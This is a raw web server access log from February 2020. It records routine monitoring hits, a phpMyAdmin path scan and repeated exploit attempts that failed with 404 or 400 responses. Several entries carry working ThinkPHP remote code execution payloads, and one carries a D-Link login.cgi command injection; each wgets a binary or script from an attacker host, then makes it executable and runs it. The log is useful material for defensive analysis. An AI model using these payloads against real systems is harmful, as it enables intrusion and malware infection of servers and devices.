139.217.134.138 - - [10/Feb/2020:13:41:55 +0100] "GET /phpma/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:41:55 +0100] "GET /phpmyadmin/phpmyadmin/index.php HTTP/1.1" 404 336 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:41:56 +0100] "GET /phpMyAdmin/phpMyAdmin/index.php HTTP/1.1" 404 336 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:41:59 +0100] "GET /phpMyAbmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:41:59 +0100] "GET /phpMyAdmin__/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:41:59 +0100] "GET /phpMyAdmin+++---/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:41:59 +0100] "GET /v/index.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:42:01 +0100] "GET /phpmyadm1n/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:42:02 +0100] "GET /phpMyAdm1n/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:42:03 +0100] "GET /shaAdmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:42:03 +0100] "GET /phpMyadmi/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:42:03 +0100] "GET /phpMyAdmion/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:42:03 +0100] "GET /s/index.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:42:04 +0100] "GET /MyAdmin/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:42:07 +0100] "GET /phpMyAdmin1/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:42:07 +0100] "GET /phpMyAdmin123/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:42:07 +0100] "GET /pwd/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:42:07 +0100] "GET /phpMyAdmina/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:42:08 +0100] "GET /phpMydmin/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:42:11 +0100] "GET /phpMyAdmins/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:42:11 +0100] "GET /phpMyAdmin._/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:42:11 +0100] "GET /phpMyAdmin._2/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:42:11 +0100] "GET /phpmyadmin2222/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:42:13 +0100] "GET /phpMyAdmin333/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:42:14 +0100] "GET /phpmyadmin3333/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:42:15 +0100] "GET /php2MyAdmin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:42:15 +0100] "GET /phpiMyAdmin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:42:15 +0100] "GET /phpNyAdmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:42:15 +0100] "GET /1/index.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:42:16 +0100] "GET /download/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:42:16 +0100] "GET /phpMyAdmin_111/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:42:17 +0100] "GET /phpmadmin/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:42:18 +0100] "GET /321/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:42:18 +0100] "GET /123131/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:42:19 +0100] "GET /phpMyAdminn/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:42:19 +0100] "GET /phpMyAdminhf/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:42:19 +0100] "GET /sbb/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:42:19 +0100] "GET /WWW/phpMyAdmin/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:42:20 +0100] "GET /phpMyAdmln/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:42:20 +0100] "GET /phpMyAdmin_ai/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:42:23 +0100] "GET /__phpMyAdmin/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:42:23 +0100] "GET /program/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:42:23 +0100] "GET /shopdb/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:42:23 +0100] "GET /phppma/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:42:24 +0100] "GET /phpmy/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:42:25 +0100] "GET /mysql/admin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:42:25 +0100] "GET /mysql/dbadmin/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:42:25 +0100] "GET /mysql/sqlmanager/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:42:26 +0100] "GET /mysql/mysqlmanager/index.php HTTP/1.1" 404 333 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:42:26 +0100] "GET /wp-content/plugins/portable-phpmyadmin/wp-pma-mod/index.php HTTP/1.1" 404 364 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:42:27 +0100] "GET /sqladmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:42:27 +0100] "GET /sql/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:42:28 +0100] "GET /SQL/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:42:28 +0100] "GET /websql/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:42:29 +0100] "GET /MySQLAdmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:42:29 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
212.91.246.72 - - [10/Feb/2020:13:42:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:13:43:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:13:44:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:13:45:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.112.68.143 - - [10/Feb/2020:13:46:24 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:13:46:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:13:47:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
198.100.153.252 - - [10/Feb/2020:13:48:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [10/Feb/2020:13:48:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.141.7 - - [10/Feb/2020:13:49:13 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:13:49:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:13:50:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:13:51:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:13:52:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
83.10.3.176 - - [10/Feb/2020:13:53:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
178.91.189.199 - - [10/Feb/2020:13:53:22 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:13:53:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:13:54:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:13:55:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.52.43.143 - - [10/Feb/2020:13:56:22 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:13:56:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:13:57:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:13:58:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:13:59:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:14:00:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:14:01:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:14:02:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:14:03:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
128.14.133.58 - - [10/Feb/2020:14:03:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
212.91.246.72 - - [10/Feb/2020:14:04:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:14:05:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
14.177.150.148 - - [10/Feb/2020:14:06:02 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
158.69.225.33 - - [10/Feb/2020:14:06:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; Dataprovider.com)"
158.69.225.33 - - [10/Feb/2020:14:06:26 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/5.0 (compatible; Dataprovider.com)"
158.69.225.33 - - [10/Feb/2020:14:06:26 +0100] "GET /sitemap.xml HTTP/1.1" 404 316 "-" "Mozilla/5.0 (compatible; Dataprovider.com)"
158.69.225.33 - - [10/Feb/2020:14:06:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; Dataprovider.com)"
158.69.225.33 - - [10/Feb/2020:14:06:27 +0100] "GET /ads.txt HTTP/1.1" 404 312 "-" "Mozilla/5.0 (compatible; Dataprovider.com)"
158.69.225.33 - - [10/Feb/2020:14:06:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 5.1.1; SM-G925F Build/LMY47X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.94 Mobile Safari/537.36"
212.91.246.72 - - [10/Feb/2020:14:06:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:14:07:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:14:08:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:14:09:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:14:10:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:14:11:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
31.169.4.215 - - [10/Feb/2020:14:12:28 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:14:12:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.54.141.208 - - [10/Feb/2020:14:12:54 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:14:13:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
73.212.89.95 - - [10/Feb/2020:14:14:27 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:14:14:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
164.160.226.122 - - [10/Feb/2020:14:14:51 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
42.113.229.133 - - [10/Feb/2020:14:14:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
117.5.213.75 - - [10/Feb/2020:14:15:13 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
118.70.193.72 - - [10/Feb/2020:14:15:31 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:14:15:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
168.181.255.168 - - [10/Feb/2020:14:15:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
115.70.31.109 - - [10/Feb/2020:14:16:16 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [10/Feb/2020:14:16:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:14:17:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:14:18:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:14:19:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.254.56.241 - - [10/Feb/2020:14:20:11 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [10/Feb/2020:14:20:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
217.6.234.90 - - [10/Feb/2020:14:21:24 +0100] "GET / HTTP/1.1" 200 1229 "http://www.herrmann-kleindienst.de/produkte/fuehrerscheinwesen/index.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
